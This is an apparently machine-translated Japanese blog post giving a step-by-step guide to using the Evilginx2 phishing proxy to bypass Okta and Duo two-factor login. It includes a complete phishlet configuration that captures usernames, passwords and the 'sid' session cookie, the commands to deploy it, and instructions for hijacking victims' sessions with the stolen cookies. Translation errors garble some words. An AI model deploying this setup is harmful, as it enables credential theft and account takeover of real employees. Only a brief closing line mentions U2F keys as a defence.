みなさんこんにちは！
誰かにサインアップする必要がある場合があります。 ターゲット組織が認証の2番目の要素（sms、Google認証システム、Duo）で構成されている場合に発生します。 そのような場合はどうすればいいですか？ gopnikを雇いますか？ 従業員の電話を切るには？ いや！ unningなハッカーがこの困難な状況に役立つソフトウェアを書いていることがわかりました。
Evilginx2は、被害者とサイトのプロキシとして機能するフィッシングフレームワークであり、そこからアカウントを受け取ります。 以前は、カスタムnginxを使用していましたが、Goで完全に書き換えられ、ミニHTTPおよびDNSサーバーが含まれているため、インストールと展開が大幅に容易になりました。
どのように機能しますか？ 彼のウェブサイトで詳細に説明されているソフトウェアの作成者、インストールおよび構成の詳細は、プロジェクトのgithubページで見つけることができます。 なぜ2番目の要因を回避できるのですか？ 秘Theは、SMSからコードを入力するプロセス/一時パスワード/ DUOからプッシュするプロセスに干渉しないことです。 ユーザーがすべての認証手順を正常に完了し、Cookieをキャッチし、ログインに使用するのを静かに待っています。 途中で、ユーザー名とパスワードを収集する場合に備えて。 同じメモで、私の経験と遭遇した落とし穴についてお話します。
挑戦する
そのため、 Oktaをシングルサインオンとして積極的に使用するオフィスを申請する必要があります。 2番目の要因として、 Duoが使用されます-モバイルクライアントのチップにより、35桁のコード（hi Google Authenticator）を入力する代わりに、定期的なプッシュ通知で2番目の要因を確認できます。 始めましょう。
ステップ1-フィッシングドメインを登録する
プロバイダーのパネルで、フィッシングが配置されるサーバーのアドレスを指定します。 また、 okta.< >.comという形式のサブドメインも登録しokta.< >.com 。
ステップ2-Evilginxを構成する
Evilginxを起動し、 configコマンドを使用して必要な設定を入力します。 メインドメイン（サブドメインではない）とそのIPを示します。
config domain < >.com config ip 10.0.0.1
その結果、構成は次のようになります。
ここで、 redirect_urlパラメーターは興味深いものです。これは、クライアントがドメインのルートに到達したときに要求をリダイレクトする場所を示します。 なぜこれが行われるのですか？ ルートからフィッシングページを提供すると、ドメインは非常に迅速に計算されて危険なサイトのリストに追加され、ブラウザは威wear的に威wearし、ユーザーは私たちに連絡しなくなります。 したがって、一意のリンクを介してそれを提供し、ルートは曲「Never Gonna Give You Up」にリダイレクトします。
ステップ3-フィッシングページを設定する
ここから楽しみが始まります。 実際、サーバー上ではコンテンツをホストせず、プロキシされたリクエストのみをホストするため、受信するデータをEvilginxに正確に「伝える」必要があります。 この「ストーリー」を特別な形式で記述します。 そのドキュメントは、プロジェクトのWikiページで入手できます。 これらのフィッシュレットの説明は呼ばれます。 人気のあるサービス（facebook、linkedin、amazon）については、すでに作成されており、ディストリビューションに含まれています。 幸運なことに、Oktaはそのままではサポートされていませんが、親切な人々が古いバージョン用のフィッシュレットを作成しました。 ファイルを取り、はんだ付けを開始します。
説明を記入し、フィッシュレットの名前、著者、Evilginxの必要なバージョンを指定します。
name: 'okta' author: '@ml_siegel, updated by @hollow1' min_ver: '2.2.0'
釣りをするドメインを示します。 この例では、 < >.okta.com形式のドメイン< >.okta.comます。
proxy_hosts: - {phish_sub: '', orig_sub: '< >', domain: 'okta.com', session: true, is_landing: true}
sessionパラメーターは、必要なCookieを提供するのはこのドメインであり、そこに資格情報が転送されることを示しis_landingは、このホストがフィッシングURLの生成に使用されることを意味します。
次の重要なステップは、プロキシがフィッシングドメインに正常に書き換えられるように、ターゲットドメインへのすべてのリクエストを識別することです。 これが行われない場合、ユーザーはデータを送信せず、すぐに元のドメインに送信し、アカウントをキャッチしません。 サイトへのユーザーログインのプロセスに直接関係する要求のみを書き換えます。
認証を成功させるために何が必要かを明確に理解するには、このプロセスを注意深く検討する必要があります。 Burpおよびテストアカウントで武装し、パスワードの送信方法と、アプリケーションが許可されたユーザーを決定するCookieを探し始めます。 また、元のドメインへのリンクを含むサーバーからの回答を探しています。
ログインとパスワードが送信されるリクエストを見つけました。 元のドメインに送信されていることがわかりますが、そのままにしておく必要があります。
ここで、元のドメインがjavascript内のリンクをレンダリングする方法を確認できます。リンクを書き換える必要があります。
これとさらにいくつかのリクエストを収集すると、次の設定が得られます。
sub_filters: - {triggers_on: '< >.okta.com', orig_sub: '< >', domain: 'okta.com', search: 'https://{hostname}/api', replace: 'https://{hostname}/api', mimes: ['text/html', 'application/json']} - {triggers_on: 'login.okta.com', orig_sub: 'login', domain: 'okta.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json']} - {triggers_on: '< >.okta.com', orig_sub: '', domain: '< >.okta.com', search: 'https\\x3A\\x2F\\x2F{hostname}', replace: 'https\x3A\x2F\x2F{hostname}', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']} - {triggers_on: '< >.okta.com', orig_sub: '', domain: '< >.okta.com', search: '\\x2Fuser\\x2Fnotifications', replace: 'https\x3A\x2F\x2F< >.okta.com\x2Fuser\x2Fnotifications', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']}
キーワード{hostname}は、元のドメインをフィッシングドメインに置き換えるためにのみ使用されます。 このセクションの構文の詳細については、 こちらをご覧ください 。
覚えておいてください、私たちはサイトにログインするためのクッキーが必要です。 試行錯誤によって、Cookieの名前sidを見つけ、設定に追加します。
auth_tokens: - domain: '< >.okta.com' keys: ['sid']
ユーザーのユーザー名とパスワードも有用であり、それらが送信されるリクエストをすでに見つけています。 リクエストでわかるように、必要なusernameとpasswordパラメーターはjsonに渡されます。
credentials: username: key: 'username' search: '"username":"([^"]*)' type: 'json' password: key: 'password' search: '"password":"([^"]*)' type: 'json'
そのため、Evilginxはクエリからそれらを分離し、正しく保存することができます。
少し残っています。 ターゲットドメインのログインページのURLを指定します。
landing_path: - '/login/login.htm'
ユーザーが正常にログインしたことを理解するためのURLを示します。
auth_urls: - 'app/UserHome'
以上です！ 設定全体：
name: 'okta' author: '@ml_siegel, updated by @hollow1' min_ver: '2.2.0' proxy_hosts: - {phish_sub: '', orig_sub: '< >'', domain: 'okta.com', session: true, is_landing: true} sub_filters: sub_filters: - {triggers_on: '< >.okta.com', orig_sub: '< >', domain: 'okta.com', search: 'https://{hostname}/api', replace: 'https://{hostname}/api', mimes: ['text/html', 'application/json']} - {triggers_on: 'login.okta.com', orig_sub: 'login', domain: 'okta.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json']} - {triggers_on: '< >.okta.com', orig_sub: '', domain: '< >.okta.com', search: 'https\\x3A\\x2F\\x2F{hostname}', replace: 'https\x3A\x2F\x2F{hostname}', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']} - {triggers_on: '< >.okta.com', orig_sub: '', domain: '< >.okta.com', search: '\\x2Fuser\\x2Fnotifications', replace: 'https\x3A\x2F\x2F< >.okta.com\x2Fuser\x2Fnotifications', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']} - domain: '< >.okta.com' keys: ['sid'] credentials: username: key: 'username' search: '"username":"([^"]*)' type: 'json' password: key: 'password' search: '"password":"([^"]*)' type: 'json' landing_path: - '/login/login.htm' auth_urls: - 'app/UserHome'
/usr/share/evilginx/phishletsとして保存します。
ステップ4-新しいフィッシングを有効にする
evilginxを実行してコマンドを書く
phishlets hostname okta okta.< >.com
フィッシュレットをオンにします。
phishlets enable okta
LetsEncryptからの証明書が自動的に作成されます。
設定を確認します。
認証が成功した後、ユーザーをどこにリダイレクトするかを示します
phishlets get-url okta https://< >.okta.com/
アプリケーションは、 https://< >.com/login/login.htm?rb=9ffe&ec=< >の形式でユーザーに送信する必要があるリンクを提供しhttps://< >.com/login/login.htm?rb=9ffe&ec=< >
ステップ4-キャッチを待つ
私たちは手紙（郵送技術-別の記事の資料）を送って待っています。
弱い信頼できるユーザーがリンクをたどってログインします。 次のように表示されます。
キャッチされたすべてのアカウントは、合計してセッションになります。 必要なものを選択し、そこからCookieをコピーします。
ブラウザを開き、クッキーと出来上がりを置き換えます-私たちは中にいます：
あとがき
Evilginxは、特に2FAの場合、フィッシングページの作成を大幅に簡素化します。 また、これらのページは便利に保存され、友人と共有されます。 保護の方法-U2F標準のデバイスの使用、新しい認証方法への移行。
説明されているアプローチについてどう思いますか？ アカウントをどのように収集しますか？